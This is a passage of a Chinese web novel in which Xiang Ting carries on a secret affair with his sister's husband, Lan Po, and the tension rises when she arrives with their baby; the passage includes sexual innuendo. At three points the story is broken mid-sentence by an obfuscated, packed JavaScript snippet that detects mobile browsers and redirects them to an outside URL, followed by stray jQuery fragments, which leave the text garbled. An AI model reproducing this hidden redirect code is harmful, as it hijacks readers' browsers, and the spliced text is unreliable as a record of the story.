一套完整的流程走下来,项廷毫发未损,蓝珀一双玉手却添多少周旋痕迹,一种温存尤昔。然后终于到了项廷尚能接受的环节,蓝珀取了一个小篾箩来,端出一碟米粑,两块羊角蜜。月牙似的糕点,望着跟玉一样透光。咬一口,甜甜的蜜就淌了出来,再抿口热水,糖就酥酥地融化在嘴里面,整个人的精气神一下子就上来了。但项廷打小不爱吃甜的,感觉第二口下去上牙膛已经在难受了,可蓝珀一喂,他就张开了嘴。 项廷甜上头了,渐渐感觉飘然欲仙,只看到蓝珀在太虚幻境里摇着他云雾般的九条大尾巴似的,如花隔霞端,艳光动天下。 可这样高慢的仙人却忽然说了一连串十分卑不足道的话:“项廷,我是不是很奇怪?你说其实我不累吗,我到底在跟谁过不去呢。” 项廷素来心大,没觉得不妙,最多有点疑疑惑惑地说:“我姐跟你说什么了,刚刚还好好的,接个电话你就不对劲了。” 窗外风有气无力地吹着,夜气太凉,蓝珀被纷乱的空想弄得精疲力尽。他往床那头挪了挪,离得远远的:“不要紧,天马上就会塌的。” “不就是我姐要来了吗?” 蓝珀嘴巴闭得紧紧的,身体又不断往前动了动,如同色彩凝重的云朵带着些微雨气徐徐走远。 眼见着要掉下床去了,项廷赶紧伸手捞了一把。 蓝珀慌张道:“别做这么土的姿势,快把手拿下来!” 项廷从身后抱住了他的腰,什么都不说,什么也不做。 两人自从相逢以来,天敌一样的,见面不是互相甩冷眼就是吵架,冷战加嘴仗,天天不是冰冻三尺,就是烽火连天。还从没有这样称得上长久的温情时刻。 很快就被项廷打破了,蓝珀听到他在偷偷地笑。 “你笑什么?”蓝珀眉一蹙。 “没有,没有,”项廷连声否认,但是忍不住嘴一快,“你肚子上竟然有肉。” 蓝珀只以为自己听差了,直到项廷为了佐证似的两根手指一夹,捏了捏他的肉。心里本就辛酸叽叽的蓝珀,此刻像吞了一整个青柿子,舌头被砂纸磨过一样麻痹,半天竟说不出一个字来。项廷只随口那么一说,说完没事人一样一秒钟就睡着了,蓝珀就感觉脑袋里他乌鸦一样,兴冲冲地跑过来大声冲自己叫,哇塞,你有肉耶,你肚子上有好多好多的肉!空谷回声。 项廷被打醒了。只见蓝珀脸色青得像菜叶子,青中带黄,黄里泛黑,逼着他解释。 项廷反应了半天才想起说了什么话:“这好事啊,你这么瘦,胖点才有福气。” 蓝珀真不算瘦,某些地方甚至肉/欲滚滚,漫画也不敢这么画,他腰只一涧雪,腿却是水萝卜,露洗百花鲜。他站着、平躺时小腹很平坦,然而但凡是个人,侧着的时候肚皮总能捏起来一点皮下脂肪,而且他穿的这个睡袍,不管你是什么身材这衣服只负责显,故而这就是项廷所谓的摸到了肉。蓝珀平常看起来饱满紧致的皮肤包裹着细巧玲珑的骨头,项廷真没想到有这一捏捏肉的存在,他吃惊,他喜欢,他多想去咬一口含着它只是怕蓝珀恼,他说这个话究其原因也是他没摸过别的人,他连流浪猫的原始袋都只远远观过。 蓝珀说:“哪有你瘦,你就像一只牛蛙!你这么大一只因为骨都长反了,撑大的!” 这点攻击不到项廷,甚至能让他提取出赞许的意味。所以蓝珀马上又说:“我忘了,你是小孩子,还没长开。” 项廷果然立刻就有点怒的苗头了:“你别把我搞精神了。” 蓝珀看似没再追究下去,项廷便接着呼呼大睡,天大地大睡觉最大。然而项廷的精神很稳定,蓝珀的精神些许异常,隔夜气真的会很难受,一晚上该想的不该想的绝对全都想了好几遍,所以一定要把项廷拉起来辩论一下。 刚梦见周公,项廷这回是被踢下了床,大大小小的玩偶砸在他身上,天女散花了。 项廷:“你没睡醒还是我没睡醒?” “我就应该趁你没睡醒把你杀了。”蓝珀突然冒一句,“我真的好恨你,恨你就是我活着唯一的惦记!” 项廷不知道情况怎么就这么严重了,一般来说他最烦蓝珀这种有点事叨叨不休的人,特别这人还是个爷们的时候。但是他现在一边捡起满地的玩偶,一边想破了头,不明白哪里就让两人之间天翻地覆,血雨腥风了。 项廷试探:“就因为我说你有肉?” 蓝珀震惊于他还敢说第二遍:“我现在只是皮松肉垮,你是年轻不怕,你等着瞧你看着好啦,十年以后,我头发都掉光了!” “你头发多着呢,”项廷找不到上得了台面的说法,“多得跟棉被似的,我看到就想睡觉。” 没想到这个时候他还能开黄腔,但是蓝珀又不能肯定,因为项廷的表情像他只有个字面意思,没有主观故意。 蓝珀模棱两可地说:“我真是瞎了眼,去狗嘴里寻象牙。” “怎么了,”项廷满不在乎,“我一看到你就立正,这事你不知道?” 蓝珀羞恨不已:“我大你十岁,你现在想跟我相好一生世,你有本事就等十年看看。” 项廷说:“拉倒吧,再过二三十年天安门看到你都还得敬礼。” 项廷把玩偶们物归原位,又躺下来,拉了灯,又从背后去抱蓝珀,这回更是抱得合榫合卯,无缝无隙。 “我要是丑过呢?”蓝珀忽然十分低声地问道。他得有多语无伦次,多囫囵,怎么做到的几个字平翘舌全说反了的? 项廷没听到。蓝珀哪里睡得着,做梦都得羞死,只能又说:“不害臊,不识相,不知耻的东西,畜生都不如,我恨你,我和我全家我全族都该去死,就你一个人活着。你杀了我就是在救我,但是你非要把我弄得不死也活不好。” 项廷被掐醒:“恨吧,有些事你得认命,我恐怕是你命中一个劫,躲不过去就扛着吧。” 他的手居然还捂着蓝珀肚子那儿,很爱那一咪咪肉,不知半点悔改的样子。蓝珀愈发觉得这一出搞得很丢人现眼,项廷有口无心的一句话,便弄得自己几乎张口骂,闭口哭,一点不要体面了。气儿一松了竟再也撮不起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398250|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,二而衰三而竭,不好再计较,便找别的话:“你姐打电话,让我去接她。” “你不早说?”项廷睁开眼,一下就彻底清醒了。 项廷倏地弹起身,下了床去找裤子穿。蓝珀看着希望他跌倒,摔死。 项廷说:“到哪了,你待家里,我去。” “你真是怕了,”蓝珀不咸不淡地笑一笑,“你好怕我一见到她就一五一十地抖露了。” 项廷向窗外望了一眼,蓝珀住得太高,直升机从他们下面飞过,说:“我是怕美国治安这么差,她还带着个小孩,大晚上多危险?” “非黑即白的事你在这和稀泥,好人都给你装了。你就不怕我找她断官司去,告诉她她弟弟和她丈夫真的没什么,只是两个寂寞的男人突然在异国他乡对上了口,一开始只是在床上互抱取暖,抱着抱着便搞了起来。” “真能说,有你这个才华曹植七步都写出七首诗了。”项廷披上外套,越想他这话越好笑,“你哪像丈夫了,你像人家养的小情妇。” 蓝珀笑着反唇相讥:“心酸呀,无情哪。那你呢,情妇也不如,连妾也是明媒正娶的,你连个妓都不是,叫偷。” 项廷在换鞋了,蓝珀走过来。项廷以为他也要一起去,觉得他一阵风就刮到天上去了,别一块出门添乱。 正相持不下,门铃响了。 真正心虚的人一秒现形,蓝珀在自己家里却有种流离失所的感觉,虽然忍住了拔腿就跑的冲动,但久久也没有去应那个门。再犹豫了一下,竟被项廷打横抱了起来。 项廷抱起来的一瞬间心惊了一下,怎么这么轻,蓝珀看着有肉,精神上却早已瘦到皮包骨头似的,徒有灵体,没有一克的质量。来不及想太多,他就把人丢进了卧室。 蓝珀花容失色,可是项廷钢筋一样的手腕力量箍住他,却只是说:“你待着,我去跟她说。” “你,你说什么?” “有什么说什么。她是我姐,我不能骗她。” “项廷!项廷,你疯了吗?你活腻了!” “你别管了,早点睡吧。” “快放开我!大不了我来说,我会解释……” “不是,跟你有一点关系吗?”项廷直来直去,“是我喜欢你,是我强迫的你,有什么事冲着我来。你是受害者,你有什么可解释的?这事是你该操心的?” 这人的逻辑有点无懈可击,致使蓝珀才想起来很关键的点似的:“我们才是夫妻……” “你两不合适。” “真的,真的,我不骗你……” “假的真不了,结了还能离。” “我们还有孩子……” “离了跟我姓。” 项廷视而不见,听而不闻,一意孤行。可他一起身蓝珀就要起来,反复了好几次,最后没办法了,项廷可能是觉得蓝珀身上别的地方都不坚强,便把人翻了面照着屁股啪啪左右各两下,这才成功把蓝珀锁在了卧室里头。 开门,干大事。 可门外并非他姐,只是蓝珀在他们洗澡的时候,给项廷请的上门家庭医生。 项廷说自己小伤不碍事,三言两语把几名医生通通遣散了。 打开卧室的门,蓝珀已经是真的吓软了,气若游丝:“你敢真的说出去,我一定死给你看……” 拗不过蓝珀,项廷只能同意带着他一块去接姐姐。 两人出了家门,等着电梯,蓝珀的脸上依然没一点血色。 都这样了项廷还要折腾他,突然在蓝珀左脸旁打了个响指:“看,我姐!” 楼道里还真的过去一个女人,但是美国人。项廷笑道:“你要盯那么久才知道不是我姐,我说,你俩真的见过面吗?” 电梯来得慢。项廷又打了个响指,蓝珀不长记性又被吓到一激灵。项廷趁他往左看,一个吻飞逝般便落在他右边的脸上。蓝珀真的受了惊许久竟缓不过来,很好欺负,项廷一口嫌少两口不够,何厌之有。蓝珀脑子里大哄大嗡,震响回放着项廷刚刚那一往无前去开那扇地狱之门的样子,别提多傻气了,可越这样想,蓝珀看他的眼神竟越是炽热直白,除了由着自己竟别无他法。 于是电梯门大开时,抱着儿子的项青云只见丈夫醉酡,弟弟餍饱。 64. 不到黄河心不死 蓝珀梦醒得很突然,旋即目光被蛰了一下似的从妻子脸上移开了。项廷两只雷达眼睛到处扫描,看到电梯里还有一个陌生的外国男人,姐姐原本与他聊着天,电梯开了的一瞬间才没立刻看了过来。 项青云穿着一套真丝唐装,看起来文气又富贵,一看就是个极有身份的人。不像来美国探亲的,像来敦促中美建交的。 转过脸时,她微微愣了一下,笑道:“这是给我一个惊喜吗?” 蓝珀把脸侧了侧,把嘴角向上扯了下,也算是笑:“当然是惊喜,我还会酝酿什么阴谋来对付你吗?” 项青云不出电梯:“你们这个组合,确实让我有点措手不及。” 项廷迎过去:“这叫双倍的欢迎。” 项青云一边跟那男的道谢、道别,一边把儿子递给了项廷:“你们俩这么齐心,我也放心了,我这心都暖洋洋的。” 接着亲姐妹一般挽住了蓝珀。 项青云:“到底是曼哈顿名流扎堆的地方,这小区的门可真难进,我都觉得自己快成不速之客了。” 蓝珀:“明白人说糊涂话,我就不信,难道比你们军区大院的门槛还高?” 二人边走边笑,一开始总觉得有点别扭,一对夫妻分开那么久,有点怪怪的感觉很快就化解掉了。 进到玄关,项青云回头一看:“项廷,怎么还杵在门外头?快进来,我还想知道你在美国都发生了什么新鲜事儿呢。” 一个月多的小宝宝对世界充满好奇,项廷没经验不会抱,直筒筒地抱,垂直于地面,侄子一巴掌就拍到了他脑门上,项廷更加头大如锅。 他眼中的姐姐如一束钢铁塑成的军中绿花,垫宽肩膀,踩高跟鞋,留着撒切尔的发型,笑声具有斯大林的统治力,可她看蓝珀的眼神,却是绝对的专注和深情,具备丰富的叙事性。 而蓝珀呢,虽然依旧艳得锋利,但面相竟添上了自己得未尝有的和善。而且他声音都变了。蓝珀平时讲话胸式呼吸声儿往鼻腔走,温柔如春天的垂柳,空灵像彩云上的仙子。这会儿突然会腹式呼吸了,突然就支棱了,爷们了,而且那个磁性那个特别的投入感,像黑白电影那种配音,上译厂来的。美美的斯嘉丽一落千丈成了装装的白瑞德。 婴儿的体温本就偏高,项廷愈发感觉全身火辣辣的,尤其是脸上。眼前的一切,融喜剧、悲剧、闹剧于一炉。 “你在这坐着,”项廷明明是后进门,却招呼蓝珀道,又说,“我该坐哪?” 蓝珀说:“你别坐了,你赶紧把我储藏室里的婴儿车推出来。” 项廷忌惮道:“也是何崇玉送的?” 蓝珀有要没紧的样子:“你上次给他推销护膝,我也买了一套。” “热火朝天地聊什么呢?”项青云把外衣、行李简单地放好,回到客厅,把儿子接过来又哄又拍。 “我劳烦他冲一下奶粉,”蓝珀表意又似怨非怨地说,“我自己也觉得怪没趣的。” “少爷坯子,在家里横惯了。”项青云嗔弟弟道,“都到外国闯了,老这么下去也给社会主义祖国脸上抹黑。” 家有千口主事一人,蓝珀很有封建大爷的味,抽出一支烟,但刚点火就揿灭了,很不耐烦地连连摇手:“是吧,摆出这副流里流气的样子给谁看呢?” 项廷听着太不入耳了:“我知道你对我第一印象不好,可你不能公报私仇,见到我姐就告我状,诋毁我,指使我吧?” “哎呀,你快去吧。”项青云调停着,对蓝珀说,“你别见怪,他跟谁都这一会儿掐一会儿好的,一句话不到位就准备干架,咱们大院的孩子谁受欺负他都得伸一头。其实这孩子的心善着,根本不记仇,经常劝架的还没缓过劲儿呢,就跟人家又搂肩膀又拍背的亲热起来了。别看他现在混样,小的时候还当过鼓号队的小队长,还被从十几万个孩子中选出来给毛□席献过花、系过红领巾,还演过电影《闪闪红星》、《春苗》……” “别说了姐!这都哪年的皇历了!” “那你姐夫让你去,你还不快去?”项青云道。 项廷说:“他不能自己去吗,他天天不用上班感觉很有空啊。美国讲男女平等,爸爸除了喂奶没有什么事不能做的吧?” “你是人小鬼大呀,”蓝珀开口了,“有句话叫小别胜新婚,我和你姐说两句体己话,你还非得趴在这听墙根了?” 趁着项青云背过去倒杯水的功夫,项廷忙背着一只手站起来,另一只手拿了储藏室的钥匙。 蓝珀还说:“慢点,淡定,你能行。” 项廷没走出两步,便听到情况格外凶险了。 蓝珀父爱泛滥,拿着拨浪鼓逗着儿子,一口一个宝宝,接着很肉麻地竟然叫什么我的天使宝贝,我的香香小猪。夫妻俩还讨论小孩起名的问题,项青云亲密地挎着他的胳膊说:“随你随你了!你总是有道理的。”蓝珀则绅士地把做主的权利让给她。项青云却像个小女人那样,下巴搁在蓝珀的肩头说:“你不必对我民主,还是专政吧。专政下的人民比较有安全感,有依靠。”在此之前,项廷绝对从未想过蓝珀的肩膀竟还能趴人。 项廷也好想跟电视电影里演的一样,很酷地中了子弹跑半天才意识到疼痛才发现自己大出血,可是并没有。他走出第一步就感觉五脏六腑都有一股牵扯,一种从未有过的屈辱和愤懑,把他整个人从里到外绞烂了。 新生儿吃完奶都要拍奶嗝,这会儿喂了没拍,吐了一手。埋汰成这样,蓝珀居然还在那宝宝长宝宝短,陶然忘归。 不禁想到就在一个小时前,蓝珀的这声宝宝还叫的是他,当时的自己是多么地嫌恶、是多么地唾弃啊,大吼着让他滚。 求仁得仁,现在真宝宝驾到了。 到了走廊深处的储藏室门前,项廷把钥匙插进孔里,故意大声拽了两下,朗声说:“你门坏了,你过来看一下。” 蓝珀走过来,项廷猛地把他拽到视野盲区,往他手里塞了一团蕾丝。 这是蓝珀穿过的内衣。今晚两人打闹的时候,蓝珀笑话他处男事迹,说他上回急得满头冒汗,越解不开越急,越急越解不开,最后绕到他身后研究了好阵儿才解开的,竟还找了个剪刀来剪断他的挂脖吊带。项廷说你敢再来吗。蓝珀说不可以,我的旗袍太紧了,只有脱光光才能穿上,刚才勒死了,现在终于可以放松了。言下之意,里面真空。项廷说一不二摁倒了人,手滑进去戳穿谎言直接表演了一个单手解扣。追着那小兔子一样欢蹦乱跳的爱娇之物,那内衣就一直可怜兮兮地在沙发缝里没人管了。项廷刚刚好说歹说不愿意挪窝,就是屁股底下正压着它,要是给项青云见着了,那可真是从哪个角度都说不清了。 蓝珀把内衣精美地折好,收到客卧的衣柜里,转身,差点撞上阴着脸的项廷。 蓝珀好笑道:“怎么不跟你姐说道说道去?西楚小霸王,刚刚的莽劲哪去了?” “我捋捋。”项廷实话实说,现在有种恍如隔世的感觉。 “还浑身是胆的小赵子龙呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398251|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝珀接着奚落。 “我看你是欠七进七出了。” 蓝珀不接茬:“这年头儿谁干了坏事还认账呀?半道熄火我也理解。” 项廷表示:“你别急。” “嗯?我急什么?” “谁急谁知道。”项廷低声来了一句,“就你那儿子,还没我像你。” 完全不能细究其内涵的一句话,项廷说的时候未经大脑,说完也点到为止,这就潇洒转身。 但是蓝珀上去踩了他一脚,说:“你拖鞋都穿反了。” 一前一后回了客厅,项青云已经把孩子哄睡着了,放进了项廷安装好的婴儿车里。 项青云说:“你俩悄悄摸摸嘀咕什么了,去这大半天了。” 蓝珀说:“我怕他偷东西,盯紧点。” “偷?”项廷笑了道,“我从来不偷,我明着抢。” 项青云温馨地回忆道:“可不是吗,打小谁要是说咱们家老小是乖孩子,听着才就跟骂人差不多。只要你有抢劫的胆量,没有什么东西是弄不来的。” “不弄到手不算完,”项廷意味不明地看着蓝珀,“你随便吧。” 蓝珀懒得回他个眼神,只把一杯热饮递给项青云,关切道:“小心扎手。” “我刷完牙了。”项青云拒绝了,扶着太阳穴,“飞机真不怎么地,我想歇会儿了。” 蓝珀舒了口气,说:“这样好,时差都不用调,我也得睡觉了。” 项廷立刻插话:“你又睡吗,一天到晚不吃又不动不得得病吗?” 夫妻俩同时站起来,往同一个方向走。项廷几乎停滞了,好像只有他被抛在了这一个时空,竟是如此地见弃于人。 “姐!”不知所措地徘徊在自救与自暴自弃之间。 项青云停下来看着弟弟,蓝珀倒是头也不回直奔卧室,生怕别人不知道他有觉睡了似的! 项廷正要说话,小侄子大哭了起来。 好! 项青云头疼得很:“就让他哭,就不要理他,以后他就知道哭没用,他就不会哭了。” 项廷忙说:“姐你千万不能这么干,他哭肯定是有原因的。蓝珀!你儿子巴着你,你还不来?” 项青云说:“说话注意点,对你姐夫太没礼貌了。” 项廷更大声:“蓝珀!” 有威吓的成分在里面。于是蓝珀出来瞧瞧,他一接手,孩子便不哭了,甜甜地睡着了。 “爸爸的怀里太好睡了,”蓝珀抬着眼,笑着看的是项廷,“宝宝说是不是?” 项青云赞叹:“老公,你真厉害。” 蓝珀轻柔地把宝宝放进摇篮,奇道:“哄好了小的还有大的呢,你怎么还看着不高兴了?为什么感觉你的鼻孔在漂移?” 项廷说:“我在高兴,就是困了,没精神有表情。” 蓝珀表现得很随和,没有多说什么。去厨房洗个手,没回头,却能感到项廷一直在他背后。 接着他泡了一壶项青云带来的西湖龙井,御前十八棵,凤凰三点头,蓝珀垂着眼睛笑道:“那姐夫含上几口茶,一口一口地喷在你脸上,你能清醒点?” “蓝珀,你有种。”项廷不觉绷直了背,快要化压力为杀意。 蓝珀抬了抬下巴,这等让人看不清的淡淡眼神,向着摇篮的方向示意:“我的种在那呢。” “我是说,你真有种,”项廷双手撑在料理台的大理石面上,背光的阴影里,逼视着蓝珀,“喷给我看。” 65. 重露繁霜压纤梗 茶香一点点弥漫,绿茶的芽叶在水中翻腾,蓝珀看似只是不温不火地笑了笑,一边取茶杯一边说:“什么香的臭的都从嘴巴里喷出来,也不怕忌讳。” 项青云走来时,那俩人还在相对不语。 可看蓝珀品了半天的茶,此等锦心绣口之人,竟是错拿成了工夫茶的杯子,一个只有银元大小。 项青云忙把茶倒了,取出自己带来的家伙事。茶碗用黑胎建盏兔毫盏,用的金箓大醮坛用,红泥炉烧橄榄炭,还配上一把日本铁壶,唯一美中不足是缺少新鲜的山泉水。打开橱柜,发现一瓶莫迪利亚尼,取之。茶泡好了,项青云这才看到瓶身的包装上写着,本品含有五毫克的金粉,项青云遂又将这一壶给弃了。 项廷口渴找水,喝了半杯蓝珀的残茶,徒增热渴,唯令心狂。喝冰牛奶,蓝珀幽幽地说牛奶喝一口,剩下的我洗澡用。倒白开水,蓝珀把手一伸,笑眯眯问他要钱,巨款。只好等着姐姐泡茶,等半天白等,项廷不懂,到底是谁喝口水这么多事啊,想念家乡的北冰洋。项廷拧开厨房水槽的龙头,跟洗头的姿势差不多,牛饮。好不容易降下来一点温,脑子里立刻又跳出来那个画面,蓝珀刚才讹他时做出的小动作。即便蓝珀现在是别人的老公,一个有目共睹的男人,可妖娆不分性别,俏是一种感觉。项廷这回真在水槽洗了个头。 蓝珀路过,本来正擦着头发的项廷,转过脸来紧盯他,像狼看到羊。项廷还没开口,蓝珀先防御上了:“能说话你就说两句,不会说你就当哑巴,犯不着向姐夫证明你存在。” “你俩这是怎么了,一背着我就悄悄话个不停,还说两句就互呛。”项青云抿了一口茶,差强人意,但水不对也只能做到这份上了,这才把注意力转移到家人身上。 项廷说:“他是光说不做,玩不起。喂,你要真想和我单练,别在这吵吵,找个没人的地方咱俩练一把。” 蓝珀对打架这事的理解恐怕比较肤浅,一点没有往断胳膊断腿的层面上去,自以为很狠地说:“好呀,到时候谁的牙掉了,就自己偷偷咽到肚子里,见了人家得说是自己不小心磕的。” 项青云又说和:“都是一家人,不要你说一句他顶一句了。” 蓝珀想到那个“喷给我看”,心有余悸,所以一定要震慑一下、打压一下,防止项廷又蹬鼻子上脸:“谁先吐黑泥的?” 但是见项廷烦躁起来便冲着自己的伤口较劲,掀起袖子,去撕绷带。蓝珀忙说:“够了、够了!我发现你这人真的挺没劲……” 项青云吓了一跳,因见项廷不仅缠着绷带,一条手臂竟全是掐痕、指甲印子,茄紫茄紫的,触目惊心,忙问怎么回事? 项廷:“打架打的。” 项青云也不傻:“这可不像挨打了,像挨闹了。” 项廷:“警察打的。” 项青云:“女警察吧?” 项廷:“……这我隐私。” 项青云笑道:“你长大了,姐姐也管不着。就是希望你别来来去去,警察局弄得像个风俗院就行了。” 项廷为了避免蓝珀的嫌疑,跟他对坐,都不看他。终于项青云不追究了,项廷才敢看过去,蓝珀早就起身去找宝宝了,项廷有种自律白自律的感觉。火大,非常大!但是因为有宝宝,蓝珀也没去卧室了。好的吧,决定跟小侄子结成不稳定的暂时性同盟。 项廷坐那不动,项青云看得出他心事很重的样子,便关心他。项廷说:“没事姐。你吃了吗,我给你做顿饭,洗洗尘,压压惊。” “这话说的,压谁的惊?”蓝珀带着娃,一心二用地说,“咱们家谁的惊需要压?” 项廷沉着气,没回答,撸起袖子去厨房。 “这种事哪轮得到你做?”项青云万分吃惊,又看蓝珀,仿佛在质问他,你家的老妈子、使唤丫头、总管太监呢? 项廷已经开了灶:“我给你煲个鸡汤。” “天啊,快让让,这地儿不是你该站的。”项青云忙过去,见弟弟杀鸡如麻,心里一凛,“你一个人在美国,这些日子都是怎么过的?” 蓝珀作出困得直翻眼皮的样子:“就是,有什么委屈,说就是,不要外道才是。” 项廷把姐姐请到一边,利落地干着活,一边说:“我舒坦得很。” “卖体力活,下九流的行当,”蓝珀笑叹,“好舒服哇。” “我都挣了小几万了。”项廷说完,没人说话,于是他怕别人不知道汇率似的,“人民币十几万了。” “十几万就高兴成这样,这可怜的孩子,来美国都是怎么过的?”项青云说,“你这饭姐姐不吃了,吃了难过。” 不吃不得睡觉了吗,项廷立刻说:“不能不吃姐,你坐月子。” 项青云说:“你平时都自己做饭吗?” 项廷表示手头很余裕:“都外面吃。” “可不是,”蓝珀补充,“啃绿化带呢。” 项廷忙说:“这叫什么,真正的无产者,哈哈。” 项青云问:“那你平常住在哪里?” 蓝珀抢答:“地底下。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398252|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 项廷赶紧说:“这不是,为了深刻体验毛□席住窑洞的峥嵘岁月吗。” 项青云扶着额头,已是心痛到说不出话了。项廷哐里哐当地做饭,项青云也劝不动了。 淘了米,项廷端水出去浇花。蓝珀紧随其后,制止住了。项廷把阳台的门紧闭,瞪着他说:“你干嘛老激我姐?” “就允许她激我?”蓝珀瞪回去。 “她激你什么了?” “她就激我了!激死我了!” 项廷真的搞不懂他,干脆一刀切地说:“总之你别夸张了行吗。” 蓝珀惊道:“我说的不是事实吗?你斗大的字不识半升,在部队扫的盲吧?难道她还妄想你领上白领金领的工资,不知道就你那点斤两到哪都不好使,充其量也就是个小学三年级班干部吗?挣扎在贫困线以上就不错了,坟头上冒青烟啦!以为你多牛呢,吹起牛来可是没边边了,眼睛大肚子小,她去问问老天什么时候下馅饼!” 项廷平静地说:“我自己的事,她心软,你少管。” 蓝珀木了半晌,缓缓地眨一下眼睛,说:“你凭什么这么凶?” 项廷一下给他说懵了,哪里能读懂他那点莫名流露的痴想法,呆意思。项廷算得上粗中有细,可蓝珀有时候未免太细了,超出地球通识的尺度。 项廷诚心诚意地发问:“我凶什么了。” 蓝珀生疏冷淡地笑了笑,不予解释,转身回房去。蓝珀就这样,老是说话说一半,搞得项廷比死还难受。 “我看是你横!”项廷突然拉住他,往角落里一拖,哪也不碰,就找准了肚子那,恶狠狠地薅了一把。 蓝珀惊恐万状,第一反应不是担心他要月黑风高地做什么,而是以为他又要说肚上有肉,你胖。蓝珀一时竟不敢动弹,生怕项廷本来不打算说胖,自己一反抗他就容易说出来胖。 项廷笑了声:“接着横啊。” 蓝珀咬着牙:“放开我,你敢不放,杀生害命的玩意。” 但竟容得项廷从背后抱住了他,密不可分。蓝珀吓坏了,想反手抽一巴掌却被抓住手,慌忙之间低下头,只见项廷手臂上的那些掐痕,正是因为自己曾经使劲拧着他□,流下不知是痛还是羞,抑或是委屈的泪水,下了死力气拧着,拧着……心事渐渐崩落,向着幽暗的深底轻飘飘地坠去。□碰撞的猛响,正让蓝珀清清楚楚地感觉、惊悚地回忆到身后这年轻的男孩□,项廷的手盖上了小腹,接近胃的地方,压低了声音说道:“我都□到过你这儿了,说话还这么横。” 66. 轻拨小窗看春色 哗啦! 花架子倒了,花盆碎了一地,项廷及时护住了蓝珀。花泥扑了项廷一身,兔子似的跑了的却是蓝珀。 阳台传来这么大的动静,项青云不可能不来看一下。丈夫奔命似的去了洗手间,她看不到,只看弟弟有没有哪儿伤着。 项廷解释:“没开灯,不小心碰倒了。” 项青云怪道:“大晚上浇什么花?” 项廷说:“这花就欠收拾。” 项青云这才发现少了个人:“你姐夫这是又怎么了?” 项廷说:“急眼了,不识逗。” 项青云把弟弟头上背上的泥巴拍下来,让他赶紧去洗个澡,换身衣服。项廷说浴室占着。 可又不是只有一个浴室。项廷抽了一张厨房纸,潦草地擦几下就扔了:“别的他不给用,毛病多。” “那你好好洗洗手,指甲缝儿里都是泥,做出来的菜你姐夫可不吃。”项青云细心道,“煮饭也不着急,他洗个澡得好一会儿呢。” 项廷陡然盯上她,库布里克凝视:“你怎么知道?” 弟弟这话,意思是你为什么,你凭什么知道。但是姐姐听得,像弟弟不信世界上有这么洁癖的男人。这事靠嘴说没用,等上一个小时,蓝珀不出来不就自证了。 于是项青云停下了话头,但项廷兴致勃勃,像是非要攀比一下谁更了解蓝珀似的:“他不是洗澡吧,八成照镜子去了,臭美。” 项青云说:“我看呀,你是对你姐夫天然就有成见。爸爸要是看见你这样,今天得禁闭你。” “谁禁闭谁还不好说,”蓝珀拿出烟盒但没抽的那支烟,落在茶几上,项青云见了要收,项廷却顺手揣进兜里,磋磨两下把烟丝儿捻出来了,“瞧着吧姐,迟早我是咱家老大。” 项青云笑道:“这么自信。” “这是自信吗,”项廷自知这场战斗只有胜利这一条路可走,“是我就爱玩悬的。” 项青云听他这么嘟噜,觉得孩子气,但弟弟轮廓分明的脸上那股子雅称的骄横之气,俗称的牛逼哄哄,又让她想这正是项家的好儿郎,那扫六合的秦王半大小子的时候至多也就这么个模样。项青云感到欣慰:“好,那姐姐就等着你撑起来这个家。” 说着话,蓝珀出来了。 蓝珀往哪走还不一定,项廷颠着勺,吹了个响亮的口哨:“镜子照得爽吗?” 蓝珀好像很友善:“姐夫小时候很苦,梳头的时候不给镜子照,现在一有机会就爱照照,你让让我吧?” 说完没逗留,蓝珀身影一闪,似乎躲卧室里去了。他一个人钻进卧室,项廷尚且能够接受,便由着他一直藏在里头,自己准备专心做饭。无法专心,感觉蓝珀在里面偷偷玩换装游戏,过一会是不是出来个花仙子了。 排骨烧好了,大火收汁的时候,项廷不禁说:“姐,你没觉得——” 项青云有所预感,及时打断了他:“这是你姐夫家,你讲话要尊重。” “哪不尊重了?” “就你刚刚那声口哨,”项青云语重心长,“你自己说,像什么。” “像什么,像嗑蜜?” 北京人说嗑蜜,挎蜜,就是泡妞,也有的叫拍婆子。 项廷说:“那是他找嗑、找拍!” 项青云本意是想说流氓,没想到项廷蹦出个这么直观、富有强烈冲击感的词来,那自带的画面感不可谓不强。炸了庙了,她这下真得教训弟弟了,往他眼前一指:“整儿个一二流子!爸爸不来禁闭你,我先把你这个人来疯的家伙打出去!” 项廷心里正想说句不客气的话,就蓝珀这么妖里妖气的,媚出水的,在北京叫卖大炕的。 所以他一点儿没有要住口的意思:“你真不觉得,他特——” 找个了自以为中性的词:“他特奶油吗?丫挺。” 项青云没接这话,项廷又说:“衬托你特像武则天。” 